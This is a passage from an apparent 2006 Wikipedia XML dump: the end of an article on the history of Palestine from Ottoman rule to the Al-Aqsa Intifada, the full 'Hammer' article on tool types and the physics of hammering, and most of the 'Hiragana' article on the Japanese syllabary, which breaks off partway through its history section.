In 1516 the [[Ottoman Turk]]s occupied Palestine. The country became part of the Ottoman Empire. [[Constantinople]] appointed local governors. Public works, including the city walls, were rebuilt in [[Jerusalem]] by [[Suleiman the Magnificent]] in 1537. [[Napoleon]] of [[France]] briefly waged war against the Ottoman Empire (allied then with Great Britain). His forces conquered and occupied cities in Palestine, but they were finally defeated and driven out by 1801.  Turkish rule lasted until [[World War I]].

Jewish immigration to Palestine, particularly to the &quot;four sacred cities&quot; ([[Jerusalem]], [[Safed]], [[Tiberias]] and [[Hebron]]) which already had significant Jewish communities, increased particularly towards the end of Ottoman rule; Jews of European origin lived mostly off donations from off-country, while many [[Sephardic]] Jews found themselves a trade. The rise of [[Zionism]], a political movement seeking to have Jews return to their ancient homeland in Palestine, in Europe and Russia in the 19th century increased the trend. By 1920, the Jewish population of Palestine had reached 11% of the population.

==The British Mandate period==
''main article: [[British Mandate of Palestine]]''

&lt;!-- Unsourced image removed: [[Image:PalestineMap.jpg|thumb|left|120px|Map of the territory administered as Palestine after September 1922]] --&gt;

In [[World War I]], [[Turkey]] sided with [[Germany]].  As a result, it was embroiled in a conflict with [[Great Britain]], leading to the British capture of Palestine in a series of battles led by General [[Edmund Allenby, 1st Viscount Allenby|Allenby]]. (See [[Third Battle of Gaza]] and [[Battle of Beersheba]]). Allenby famously dismounted from his horse when he entered captured Jerusalem as a mark of respect for the ''Holy City''. He was greeted by the [[Christian]], [[Jewish]], and [[Islamic]] leaders of the city with great honor.

At the subsequent 1919 [[Paris Peace Conference]] and [[Treaty of Versailles]], Turkey's loss of its Middle East empire was formalized. The British had in the interim made two agreements. In the [[Hussein-McMahon Correspondence]] there was an undertaking to form an Arab state in exchange for the Great [[Arab Revolt]] and in the [[Balfour Declaration]] in 1917 to &quot;favour the establishment in Palestine of a national home for the Jewish people&quot;.  McMahon's promises are seen by Arab nationalists as a pledge of immediate Arab independence, an undertaking violated by the region's subsequent partition into British and French [[League of Nations mandate]]s under the secret [[Sykes-Picot Agreement]] of May 1916 which became the real cornerstone of the [[geopolitics]] structuring the entire region. Prior to the conference [[Emir Faisal]], British ally and son of the king of the [[Hijaz]], had agreed in the [[Faisal-Weizmann Agreement]] to support the immigration of Jews into Palestine as part of a larger Arab state. When the conference did not produce that Arab state, Faisal called instead for Palestine to become part of his new Arab Syrian kingdom.

In 1920 the new [[League of Nations]] established the [[British Mandate of Palestine]], which identified two territories of different administration, one to the west of the [[Jordan River]], the other to the east. Article 25 specified that the eastern area did not have to be subject to all parts of the Mandate, notably the provisions regarding a Jewish homeland. This was used by the British as one rationale to establish an Arab state, which it saw as at least partially fulfilling the undertakings in the [[Hussein-McMahon Correspondence]]. On [[11 April]] [[1921]] the British passed administration of the eastern region to the [[Hashemite]] Arab dynasty from the [[Hejaz]] what later became part of [[Saudi Arabia]] as the Emirate of [[Transjordan]] and on [[15 May]] [[1923]] recognized it as a state. 

Under the Mandate, Jewish immigration to Palestine increased substantially.  Between 1920 and 1945, Jews went from 11% to 31% of the rapidly expanding population, partly due to an influx of [[Jewish refugees]] from Nazism in Europe.  [[Palestinian]] Arab leaders strongly opposed the immigration.  In 1936 the British [[Peel Commission]] advised that the western part of Palestine be divided between Arabs and Jews. The Arabs then launched the [[Great Uprising]] against British rule in an effort to end the immigration.  The Jews, for their part, organized the [[Irgun]] and [[Lehi (group)|Lehi]] to fight the British and the [[Haganah]] and [[Palmach]] to fight the Arabs.  By the time order was restored in March of 1939, more than 3,000 Arabs, 2,000 Jews, and 600 Britons had been killed.

==Post-Mandate==
[[Image:UN Partition Plan For Palestine 1947.png|right|thumb|120px|The UN Partition Plan]]

Soon after [[World War II]], the British, under constant armed attack by Jews and Arabs, decided to leave Palestine.  The [[United Nations]] attempted to solve the dispute by putting forward the [[1947 UN Partition Plan]], dividing the land area between the two populations, on [[November 29]], [[1947]]; the [[Jewish Agency]] accepted the plan, while the Palestinian Arabs, along with their allies elsewhere in the Arab world, rejected it as inadequate.  The Arab-Jewish fighting within Palestine escalated to full-scale war right after the UN partition plan was approved, and on [[May 14]], [[1948]], the Jewish population declared independence as the state of [[Israel]].  The armies of [[Egypt]], [[Iraq]], [[Jordan]], [[Lebanon]], and [[Syria]] then invaded, but did not succeed even in holding onto much of the areas reserved in the UN partition plan for the Arab state.  (For a more detailed account, see [[1948 Arab-Israeli War]]).  Large numbers of Palestinian Arabs fled or were expelled from their homes during the fighting, in what is called in [[Arabic language|Arabic]] the ''[[Nakba]]'', or &quot;Tragedy&quot;, and to this day have not been allowed to return (see [[Palestinian exodus]]). Israel managed to maintain its independence and even expand its borders, but a new refugee problem, this one of Palestinian Arabs, was created, and was compounded by [[Jewish exodus from Arab lands]].

[[Image:We-map.png|left|thumb|120px|West Bank]]
[[Image:Gz-map.png|left|thumb|120px|Gaza Strip]]
What remained of the territories allotted to the Arab state in Palestine was [[Rule of the West Bank and East Jerusalem by Jordan|annexed]] by [[Jordan]] (the [[West Bank]]) or [[Occupation of the Gaza Strip by Egypt|occupied]] by [[Egypt]] (the [[Gaza Strip]]) from 1948 to 1967.

As a result of the 1967 [[Six Day War]], the [[Israel Defense Forces]] took control of the [[West Bank]], [[Gaza Strip]], [[Golan Heights]], and the [[Sinai Peninsula]] bringing them under [[military rule]]. The United Nation's [[Security Council]] passed [[Resolution 242]], promoting the &quot;[[land for peace]]&quot; formula, which called for Israeli withdrawal from territories occupied in 1967 in return for the end of all states of belligerency.  Since that time, the Palestinians have struggled to assert their own independence, either in all the territories of Palestine or in the West Bank and Gaza Strip particularly. In the course of 1973 [[Yom Kippur War]], the invading forces of Egypt and Syria were pushed back. Israel returned the [[Sinai Peninsula]] to [[Egypt]] as part of the [[1978 Camp David Peace Accords between Egypt and Israel]]. 

[[Image:Is-map.PNG|right|thumb|120px|Map of the [[Israel|State of Israel]] today]]
After the [[First Intifada]], attempts at the [[peace process in the Israeli-Palestinian conflict]] were made at the [[Madrid Conference of 1991]]. As the process progressed, in 1993 the Israelis allowed Chairman and President of the [[Palestine Liberation Organization]] [[Yassir Arafat]] to return to the region. 

Following the historic [[1993 Oslo Peace Accords between Palestinians and Israel]] (the &quot;Oslo Accords&quot;), which gave the Palestinians limited self-government through the [[Palestinian Authority]], and other detailed negotiations, [[proposals for a Palestinian state]] gained momentum.  They were soon followed in 1994 by the [[Israel-Jordan Treaty of Peace]].  An attempt was made to end the struggle at the [[Camp David 2000 Summit between Palestinians and Israel]] but no agreement was reached.  To date, efforts to resolve the conflict have ended in deadlock, and the people of Palestine, Jews and Arabs, are engaged in a bloody conflict, the [[Israeli-Palestinian conflict]].

==Intifada, Separation Barrier, Road Map==
From 1987 to 1993 the [[First Intifada]] by Palestinians against Israel took place. A fierce [[Intifada]] by the Palestinians then erupted in 2000 known as the [[Al-Aqsa Intifada]] allegedly in response to a visit to the [[Temple Mount]] by [[Ariel Sharon]] (who subsequently became Israel's Prime Minister). The violence grew, particularly [[suicide bombings]] by [[Hamas]], [[Al-Aqsa Martyrs' Brigades]], [[Islamic Jihad]], [[Palestinian Islamic Jihad]], [[Hezbollah]], and [[Popular Front for the Liberation of Palestine - General Command]]. [[Israeli Security Forces]] responded with invasions, [[targeted killing]] of Palestinian military leaders and organizers and by building a complex [[separation barrier]] between Israel, including key Israeli settlements, and the large Palestinian populations in the West Bank.

In 2002 the  [[Road map for peace]] calling for the resolution of the  [[Israeli-Palestinian conflict]] was proposed by a &quot;quartet&quot;: The [[United States]], [[European Union]], [[Russia]], and [[United Nations]].  [[President of the United States of America|U.S. President]] [[George W. Bush]] in a speech on [[June 24]], [[2002]] called for an [[independent Palestinian state]] living side by side with the [[Israel]]i [[state]] in peace. Bush was the first U.S. President to explicitly call for such a Palestinian state. 

[[Image:BarrierMay2005.png|thumb|120px|The approved barrier route as of May 2005]]
According to [[Israel's unilateral disengagement plan of 2004]], it withdrew from the Gaza strip and some areas in Northern West Bank. Palestinians have continued to fight using a variety of tactics and weapons, such as the [[Qassam rocket]]s, [[explosive belt]]s for more [[suicide bombing]]s, called [[martyrdom operation]]s by some [[Muslim]]s, [[car bomb]]s and [[smuggling tunnels]] to bring in additional weapons and ammunition from [[Egypt]]. In response the [[Israeli West Bank barrier]] is being built with the stated goal to stifle the movements of Palestinian terrorists. Areas of Israel protected by the barrier have experienced a sharp decrease in terror attacks, though it is not clear if the barrier alone is responsible for this. Yet [[violence against Israelis]] continues with a long [[list of massacres committed during the Al-Aqsa Intifada]] with simultaneous [[accusations against Israel of war crimes during the Al-Aqsa Intifada]].

==See also==
*[[History of ancient Israel and Judah]]
*[[History of Israel]]
*[[History of Levant]]
*[[Palestine (region)|Palestine]]
*[[Occupation of the West Bank and East Jerusalem by Jordan]]
*[[Occupation of the Gaza Strip by Egypt]]

&lt;!--{{split}}[[Biblical Palestine]], [[Ancient history of Palestine]] &amp; [[Modern history of Palestine]].--&gt;

==External links== 
*[http://www.zionism-israel.com/impact_of_zionism.htm Zionism and its impact] Article discussing the impact of Zionist Settlement in Palestine. 
* [http://www.mideastweb.org/palpop.htm Population of Palestine in Ottoman and Mandate Times]
* [http://www.zionism-israel.com/zionism_history.htm A History of Zionism and the Creation of Israel] Israeli-Arab relations during Ottoman and Mandatory times. 
* [http://www.mideastweb.org/briefhistory.htm A brief history of Israel, Palestine and the Conflict] Balanced and comprehensive history of Palestine and Israel from earliest times.
* [http://libcom.org/library/21st-century-intifada-israel-palestine-aufheben History of the Israel-Palestine conflict from the point of view of the working class] on libcom.org library


[[Category:History of the Levant]]
[[Category:History of the Middle East]]
[[Category:Israel and Zionism]]
[[Category:Jewish history]]
[[Category:Jews by country]]
[[Category:Palestinian history|*]]
[[Category:Roman Roads in Syria and Palestina provinces]]

[[ar:&amp;#1578;&amp;#1575;&amp;#1585;&amp;#1610;&amp;#1582; &amp;#1601;&amp;#1604;&amp;#1587;&amp;#1591;&amp;#1610;&amp;#1606;]]
[[fr:Histoire de la Palestine]]
[[he:היסטוריה של ארץ ישראל]]</text>
    </revision>
  </page>
  <page>
    <title>Hammer</title>
    <id>13802</id>
    <revision>
      <id>41220672</id>
      <timestamp>2006-02-25T21:51:43Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* See also */ link format correction</comment>
      <text xml:space="preserve">:''For the sport, see [[Hammer throw]]. For other uses see [[Hammer (disambiguation)]]''.

[[image:hammer2.jpg|thumb|right|250px|A claw hammer]]
A '''hammer''' is a [[tool]] meant to deliver blows to a target, causing it to move or deform. The most common uses are for driving [[nail (engineering)|nail]]s, fitting parts, and breaking up objects.  Hammers are often designed for a specific purpose, and so their design varies quite a lot. Usual features are a handle and a head, with most of the weight in the head. The basic design is hand-operated, but there are also many mechanically operated models for heavier uses.

The hammer is a basic tool of many professions, and can also be used as [[weapon]].  Either way, it is perhaps the oldest human tool, perhaps even older than the earliest ''[[Homo (genus)|Homo]]'' [[species]].  

By analogy, the name '''hammer''' has also been used for many mechanical parts and devices that are designed to deliver blows, e.g. in the [[caplock mechanism]] of [[firearm]]s.

==Basic design and variations==
The essential part of a hammer is the head, a compact solid mass that is able to deliver the blows to the intended target without itself breaking up.  

The head usually has a flat striking surface on one side. The opposite side of the head may have a second striking surface; or a claw or wedge to pull nails, or may be shaped like a ball as in the [[ball-peen hammer]].  Some upholstery hammers have a magnetized appendage, to pick up [[tack]]s.

Popular hand-powered variations include:
* carpenter's hammers (used for [[nail (engineering)|nailing]]), such as the  [[framing hammer]] and the [[claw hammer]]
* [[upholstery hammer]]
* construction hammers, including the [[sledgehammer]]
* drilling hammer - a lightweight, short handled sledgehammer
* [[ball-peen hammer]], or mechanic's hammer
* [[cross-peen hammer]], or Warrington hammer
* [[mallet]]s, including the [[rubber hammer]] and [[dead blow hammer]].
* [[maul]]
* [[stonemason's hammer]]
* [[lump hammer]], or club hammer
* [[gavel]], used by judges and presiding authorities in general
&lt;gallery&gt;
image:hammer2.jpg|[[Claw hammer]]
Image:Framing hammer.jpg|[[Framing hammer]]
Image:Hammer tapissier.jpg|[[Upholstery hammer]]
Image:Ball-peen hammer 380mm.JPG|[[Ball-peen hammer]]
Image:Mallet.jpg|Rubber [[mallet]]
Image:Wooden mallet.JPG|Wooden [[mallet]]
Image:Sledgehammer.jpg|[[Sledgehammer]]
&lt;/gallery&gt;

Mechanically-powered hammers often look quite different from the hand tools, but nevertheless most of them work on the same principle.  They include:
*[[jackhammer]]
*[[steam hammer]]
*[[hammer drill]], that combines a jackhammer-like mechanism with a [[drill]]

In professional [[framing (construction)|framing]] [[carpentry]], the hammer has almost been completely replaced by the [[nail gun]].  In professional [[upholstery]], its chief competitor is the [[staple gun]].

==War hammers==
The concept of putting a handle on a weight to make it more convenient to use may well have led to the very first weapons ever invented.  The [[club (weapon)]] is basically a variant of a hammer.  In the [[Middle Ages]], the [[war hammer]] became popular when edged weapons could no longer easily penetrate some forms of armour.&lt;!--IS THIS A FACT, OR JUST SPECULATION?--&gt;

==Hammers used in Symbolism==
The hammer, being one of the most used tools to the [[Homo Sapiens]], has been used very much in symbols and arms. In the middle ages it was used often in blacksmith guild logos, as well as in many family symbols. The most recognised symbol with a hammer in it is the [[Hammer and Sickle]], which is the symbol of socialism or communism. The hammer in this symbol symbolises the working class, for obvious reasons. The hammer is used in some coat of arms in (former) socialist (or pseudo socialist) countries like [[East Germany]]. 

In the 1982 film [[Pink Floyd The Wall]], a circular logo featuring two crossed hammers was used on armbands, flags, and banners during the fascist rally scene. These hammers were also featured in the infamous &quot;marching hammers&quot; animation loop

==The physics of hammering==
===Hammer as a force amplifier===
A hammer is basically a [[force]] [[amplifier]], that works by converting [[mechanical work]] into [[kinetic energy]] and back.

In the swing that precedes each blow, a certain amount of kinetic energy gets stored in the hammer's head, equal to the length ''D'' of the swing times the force ''f'' produced by the [[muscle]]s of the arm and by [[gravity]].  When the hammer strikes, the head gets stopped by an opposite force coming from the target; which is equal and opposite to the force applied by the head to the target.  If the target is a hard and heavy object, or if it is resting on some sort of [[anvil]], the head can travel only a very short distance ''d'' before stopping.  Since the stopping force ''F'' times that distance must be equal to the head's kinetic energy, it follows that ''F'' will be much greater than the original driving force ''f''—roughly, by a factor ''D''/''d''. In this way, even the feeblest person can produce a force strong enough to bend steel, or crack the hardest stone.

===Effect of the head's mass===
The only essential part for this process is the hammer's head. The hitting force generally increases with the head's [[mass]], chiefly because a more massive head will store more gravitational energy during a downward swing.  However, if the swing is horizontal (as when driving nails into a wall), there is little advantage in increasing the head's mass beyond a certain point, since the kinetic energy stored into it depends only on the product ''D'' ''f''. For upward swings, in fact, a heavy head is actually counter-productive. On the other hand, the head must have a minimum weight, because the arm cannot keep pushing with full force an object that is moving too fast.

===Effect of the handle===
Adding an handle helps on two counts: (1) it increases the length ''D'' of the swing (meaning more gravitational energy can be stored on a downward swing), and (2) allows the hammer's head to move faster than the hand (meaning the muscles can keep pushing at full force throughout the swing).  However, because of the [[lever]] effect, a longer handle applies a smaller force ''f'' to the head; so there is a maximum useful length for the handle, at least for horizontal swings.

===Avoiding bent nails===
When driving a nail, the hammer must be manoeuvered so that its flat face strikes the nail's head at a right angle to the nail's axis, with the head moving parallel to that axis. Failure to achieve either condition will result in a sideways force on the nail's head, that may bend it.  Also, one should relax the muscles of the hand and arm momentarily when the hammer strikes.

==Hammers in arts and entertainment==
Hammer blows feature in [[Gustav Mahler|Mahler]]'s [[Symphony No. 6 (Mahler)|sixth symphony]], representing blows of fate.  A hammer is also used in the third of [[Alban Berg]]'s Three Pieces for Orchestra, in tribute to Mahler.

==Hammers in popular culture==
The use of a hammer to fix broken machinery is jokingly referred to as ''percussive maintenance''.

A famous [[adage]] states that &quot;When all you've got is a hammer, everything looks like a nail.&quot;
==See also==
*[[Club (weapon)]]
*[[Anvil]]
*[[Antique_Tools]]

{{Metalworking - Metalworking hand tools - Mini}}
[[Category:Hammers| ]]
[[Category:Metalworking hand tools]]


[[ang:Hamor]]
[[bg:Чук]]
[[ca:Martell]]
[[cs:Kladivo]]
[[da:Hammer (redskab)]]
[[de:Hammer]]
[[el:Σφυρί]]
[[es:Martillo]]
[[eo:Martelo]]
[[fr:Marteau]]
[[io:Martelo]]
[[he:פטיש]]
[[lv:Āmurs]]
[[nl:Hamer (gereedschap)]]
[[no:Hammer (redskap)]]
[[pl:Młotek]]
[[simple:Hammer]]
[[sr:Чекић]]
[[fi:Vasara]]
[[zh:鎚子]]</text>
    </revision>
  </page>
  <page>
    <title>Hiragana</title>
    <id>13804</id>
    <revision>
      <id>42106109</id>
      <timestamp>2006-03-03T21:40:25Z</timestamp>
      <contributor>
        <ip>68.74.66.121</ip>
      </contributor>
      <text xml:space="preserve">{{Japanese writing}}
'''{{nihongo|Hiragana|平仮名|}}''' are a [[Japanese language|Japanese]] [[syllabary]], one of the four [[Japanese writing system]]s, along with [[katakana]], [[kanji]] and [[romaji|rōmaji]] (i.e., the [[Latin alphabet]]). Hiragana and katakana are both [[kana]] systems, in which each symbol represents one [[mora (linguistics)|mora]]. Each ''kana'' is either a vowel (such as ''a'' あ); a consonant followed by a vowel (such as ''ka'' か); or ''n'' ん, a [[nasal consonant|nasal]] [[sonorant]] which, depending on the context, sounds either like English ''m'', ''n'', or ''ng'' ([[IPA]] {{IPA|ŋ}}), or like the [[nasal vowel]]s of [[French language|French]].

Hiragana are used for words for which there are no [[kanji]], such as [[Japanese particles|particles]] like ''kara'' から &quot;from,&quot; and suffixes such as ''~san'' さん &quot;Mr., Mrs., Miss.&quot; Hiragana are also used for words for which the kanji form is not known to the writer, is not expected to be known to the readers, or is too formal for the writing purpose. [[Okurigana|Verb and adjective inflections]], for example in {{nihongo|''tabemashita''|ate|}}, ''BE MA SHI TA'' are written in hiragana. In this case, part of the root is also written in hiragana. Hiragana are also used to give the pronunciation of kanji in a reading aid called ''[[furigana]]''. The article [[Japanese writing system]] discusses in detail when the various systems of writing are used.

There are two main systems of [[Kana#Collation|ordering hiragana]], the old-fashioned [[iroha]] ordering, and the more prevalent [[gojūon]] ordering.

==The hiragana writing system==

The hiragana consist of a basic set of characters, the ''gojūon'' , which can be modified in various ways. By adding a ''[[dakuten]]'' marker ゛ an unvoiced  consonant such as ''k'' or ''t'' is turned into a voiced consonant such as ''g'' or ''d'': ''k''→''g'', ''t''→''d'', ''s''→''z'', and ''h''→''b''.
Hiragana beginning with an ''h'' can also add a ''[[handakuten]]'' marker ゜ changing the ''h'' to a ''p''. A small version of the hiragana for ''ya'', ''yu'' or ''yo'' (ゃ, ゅ or ょ respectively) may be added to hiragana ending in ''i''. This changes the ''i'' vowel sound to a glide [[palatalization]]. Addition of the small ''y'' kana is called [[yōon]]. A small ''tsu'' っ called a ''[[sokuon]]'' indicates a [[geminate]] (doubled) consonant. It appears before fricatives and stops, and sometimes at the end of sentences. This is represented in [[romaji|rōmaji]] by doubling the following consonant. 

In informal writing small versions of the five vowel kana are sometimes used to represent trailing off sounds (はぁ, ねぇ).

There are a few hiragana which are rarely used.  ''Wi'' ゐ and ''we'' ゑ are obsolete. ''V'' ゔ is a modern addition used to represent the &quot;v&quot; sound in foreign languages such as English, but since Japanese does not have a ''v'' sound, it is pronounced as a ''b''. It is rarely seen because [[loan words]] and [[Transliteration|transliterated]] words are usually written in [[katakana]].

==Table of hiragana==

The following table shows hiragana together with their [[Hepburn romanization]]. The obsolete kana are shown in &lt;font color=red&gt;red&lt;/font&gt; romanization.
{| border=&quot;0&quot; cellspacing=&quot;2px&quot; cellpadding=&quot;2px&quot; width=&quot;100%&quot;
|-
|bgcolor=&quot;#BECFEB&quot; valign=top align=&quot;center&quot; colspan = 5 | vowels 
|bgcolor=&quot;#D4D4D4&quot; colspan = 3 align=&quot;center&quot;|[[yōon]]
|-bgcolor=&quot;#BECFEB&quot; valign=top align=&quot;center&quot;
![[あ]] ''a''
![[い]] ''i''
![[う]] ''u''
![[え]] ''e''
![[お]] ''o''
|bgcolor=&quot;#D4D4D4&quot;|('''''ya''''')
|bgcolor=&quot;#D4D4D4&quot;|('''''yu''''')
|bgcolor=&quot;#D4D4D4&quot;|('''''yo''''')

|-
|colspan=&quot;8&quot;|

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[か]] ''ka''
|[[き]] ''ki''
|[[く]] ''ku''
|[[け]] ''ke''
|[[こ]] ''ko''
|bgcolor=&quot;#F3F5DE&quot;|きゃ ''kya''
|bgcolor=&quot;#F3F5DE&quot;|きゅ ''kyu''
|bgcolor=&quot;#F3F5DE&quot;|きょ ''kyo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[さ]] ''sa''
|[[し]] ''shi''
|[[す]] ''su''
|[[せ]] ''se''
|[[そ]] ''so''
|bgcolor=&quot;#F3F5DE&quot;|しゃ ''sha''
|bgcolor=&quot;#F3F5DE&quot;|しゅ ''shu''
|bgcolor=&quot;#F3F5DE&quot;|しょ ''sho''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[た]] ''ta''
|[[ち]] ''chi''
|[[つ]] ''tsu''
|[[て]] ''te''
|[[と]] ''to''
|bgcolor=&quot;#F3F5DE&quot;|ちゃ ''cha''
|bgcolor=&quot;#F3F5DE&quot;|ちゅ ''chu''
|bgcolor=&quot;#F3F5DE&quot;|ちょ ''cho''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[な]] ''na''
|[[に]] ''ni''
|[[ぬ]] ''nu''
|[[ね]] ''ne''
|[[の]] ''no''
|bgcolor=&quot;#F3F5DE&quot;|にゃ ''nya''
|bgcolor=&quot;#F3F5DE&quot;|にゅ ''nyu''
|bgcolor=&quot;#F3F5DE&quot;|にょ ''nyo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[は]] ''ha''
|[[ひ]] ''hi''
|[[ふ]] ''fu''
|[[へ]] ''he''
|[[ほ]] ''ho''
|bgcolor=&quot;#F3F5DE&quot;|ひゃ ''hya''
|bgcolor=&quot;#F3F5DE&quot;|ひゅ ''hyu''
|bgcolor=&quot;#F3F5DE&quot;|ひょ ''hyo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[ま]] ''ma''
|[[み]] ''mi''
|[[む]] ''mu''
|[[め]] ''me''
|[[も]] ''mo''
|bgcolor=&quot;#F3F5DE&quot;|みゃ ''mya''
|bgcolor=&quot;#F3F5DE&quot;|みゅ ''myu''
|bgcolor=&quot;#F3F5DE&quot;|みょ ''myo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[や]] ''ya''
|bgcolor=&quot;#E9E9E9&quot;|
|[[ゆ]] ''yu''
|bgcolor=&quot;#E9E9E9&quot;|
|[[よ]] ''yo''
|bgcolor=&quot;#E9E9E9&quot; colspan=&quot;3&quot;|

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[ら]] ''ra''
|[[り]] ''ri''
|[[る]] ''ru''
|[[れ]] ''re''
|[[ろ]] ''ro''
|bgcolor=&quot;#F3F5DE&quot;|りゃ ''rya''
|bgcolor=&quot;#F3F5DE&quot;|りゅ ''ryu''
|bgcolor=&quot;#F3F5DE&quot;|りょ ''ryo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|[[わ]]&amp;nbsp;''wa''
|&lt;font color=red&gt;[[ゐ]]&amp;nbsp;''wi''&lt;/font&gt;
|bgcolor=&quot;#E9E9E9&quot;|
|&lt;font color=red&gt;[[ゑ]]&amp;nbsp;''we''&lt;/font&gt;
|[[を]]&amp;nbsp;''o/wo''
|bgcolor=&quot;#E9E9E9&quot; colspan=&quot;3&quot;|

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|bgcolor=&quot;#E9E9E9&quot; colspan=&quot;4&quot;|
|[[ん]] ''n''
|bgcolor=&quot;#E9E9E9&quot; colspan=&quot;3&quot;|

|-
|colspan=&quot;8&quot;|

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|が ''ga''
|ぎ ''gi''
|ぐ ''gu''
|げ ''ge''
|ご ''go''
|bgcolor=&quot;#F3F5DE&quot;|ぎゃ ''gya''
|bgcolor=&quot;#F3F5DE&quot;|ぎゅ ''gyu''
|bgcolor=&quot;#F3F5DE&quot;|ぎょ ''gyo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|ざ ''za''
|じ ''ji''
|ず ''zu''
|ぜ ''ze''
|ぞ ''zo''
|bgcolor=&quot;#F3F5DE&quot;|じゃ ''ja''
|bgcolor=&quot;#F3F5DE&quot;|じゅ ''ju''
|bgcolor=&quot;#F3F5DE&quot;|じょ ''jo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|だ ''da''
|ぢ ''(ji)''
|づ ''(zu)''
|で ''de''
|ど ''do''
|bgcolor=&quot;#F3F5DE&quot;|ぢゃ ''(ja)''
|bgcolor=&quot;#F3F5DE&quot;|ぢゅ ''(ju)''
|bgcolor=&quot;#F3F5DE&quot;|ぢょ ''(jo)''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|ば ''ba''
|び ''bi''
|ぶ ''bu''
|べ ''be''
|ぼ ''bo''
|bgcolor=&quot;#F3F5DE&quot;|びゃ ''bya''
|bgcolor=&quot;#F3F5DE&quot;|びゅ ''byu''
|bgcolor=&quot;#F3F5DE&quot;|びょ ''byo''

|-bgcolor=&quot;#E7F5DE&quot; valign=top align=&quot;center&quot;
|ぱ ''pa''
|ぴ ''pi''
|ぷ ''pu''
|ぺ ''pe''
|ぽ ''po''
|bgcolor=&quot;#F3F5DE&quot;|ぴゃ ''pya''
|bgcolor=&quot;#F3F5DE&quot;|ぴゅ ''pyu''
|bgcolor=&quot;#F3F5DE&quot;|ぴょ ''pyo''
|}


The sound ''ti'' is spelt てぃ, but this sequence of sounds is found only in [[loan word]]s, so is normally written only in [[katakana]].

==Spelling rules==

With a few exceptions for sentence particles は, を, and へ (''wa'', ''o'', and ''e''), and a few other arbitrary rules, Japanese is spelled as it sounds. This has not always been the case: a previous system of spelling, now referred to as [[historical kana usage]] had many spelling rules; the exceptions in modern usage are the legacy of that system. The exact spelling rules are referred to as {{nihongo|''kanazukai''|仮名遣い|}}, &quot;kana use&quot;.

There are two hiragana pronounced ''ji'' (じ and ぢ) and two hiragana pronounced ''zu'' (ず and づ). These pairs are not interchangeable. Usually, ''ji'' is written as じ and ''zu'' is written as ず. There are some exceptions. If the first two syllables of a word consist of one syllable without a ''dakuten'' and the same syllable with a ''dakuten'', the same hiragana is used to write the sounds.  For example ''chijimeru'' (‘to boil down’ or ‘to shrink’) is spelled ちぢめる. For compound words where the dakuten reflects ''[[rendaku]]'' voicing, the original hiragana is used. For example, ''chi'' (血 &quot;blood&quot;) is spelled ち in plain hiragana. When 鼻 hana (“nose”) and 血 combine to make ''hanaji'' 鼻血 &quot;nose bleed&quot;), the sound of  血changes from ''chi'' to ''ji''.  So ''hanaji'' is spelled はなぢ according to ち: the basic hiragana used to transcribe 血.  Similarly, ''Tsukau'' (使う; &quot;to use&quot;) is spelled つかう in hiragana, so ''kanazukai'' (かな使い; &quot;kana use&quot; .. or .. &quot;kana orthography&quot;) is spelled かなづかい in hiragana. 

However, this does not apply when kanji are used to  make words which do not relate directly to their elemental meaning.  The Japanese word for ‘lightning’, for example, is ''inazuma'' (稲妻).  The ‘稲’ component means ‘rice plant’, is written いな in hiragana and is pronounced: ''ina''.  The 妻 component means ’wife’ and is pronounced ''tsuma'' (つま) when written in isolation or frequently as ''zuma'' (ずま) when it features after another syllable. Neither of these components have anything to do with ‘lightning’, but together they do when they compose the word for ‘lightning’. In this case, the default spelling in hiragana  いなずま rather than いなづま is used. 

Hiragana usually spells [[long vowel]]s with the addition of a second vowel kana. The [[chōon]] (vowel extender mark) (ー) used in katakana is rarely used with hiragana, for example in the word らーめん, [[ramen]], but this usage is considered non-standard.

A word cannot begin with the kana ん (''n''). This is at the basis of the word game [[shiritori]].  However, ''n'' is sometimes directly followed by a vowel.  For example, ''ren'ai'' 恋愛 (&quot;romantic love, emotion&quot;) is written in hiragana as れんあい rather than れない ''renai'' (a nonexistant word).

==History==
Hiragana developed from ''[[manyogana|man'yōgana]]'', [[Chinese language|Chinese]] characters used for their pronunciations, a practice which started in the [[5th century]]. The forms of the hiragana originate from the ''[[grass script|sōsho]]'' style of [[Chinese calligraphy]].  The figure below shows the derivation of hiragana from manyōgana via sōsho. The upper part shows the character in the [[Regular Script|kaisho]] form, the centre character in red shows the sōsho form of the character, and the bottom shows the equivalent hiragana.

[[Image:Hiragana_origin.jpg]]

When they were first created, hiragana were not accepted by everyone. Many felt that the language of the educated was still Chinese.  Historically, in Japan, the ''kaisho'' form of the characters was used by men, so-called {{nihongo|''onode''|男手|}}, &quot;men's writing&quot;, and the sōsho form of the kanji was used by women. Thus hiragana first gained popularity among women, who were not allowed access to the same levels of education as men. From this comes the alternative name of {{nihongo|''onnade''|女手|}} &quot;women's writing&quot;. For example, ''[[The Tale of Genji]]'' and other early novels by female authors used hiragana extensively or exclusively.  

Male authors came to write literature using hiragana. Hiragana, with its flowing style, was used for unofficial writing such as personal letters, while katakana and Chinese were used for official documents. In modern times, hiragana has become preferred over [[katakana]], which is now relegated to special uses such as recently borrowed words (i.e., since the [[19th century]]), names in [[transliteration]], the names of animals, in telegrams, and for emphasis.

Originally, all sounds had more than one hiragana. In 1900, the system was simplified so each sound had only one hiragana. Other hiragana are known as {{nihongo|[[hentaigana]]|変体仮名|}}

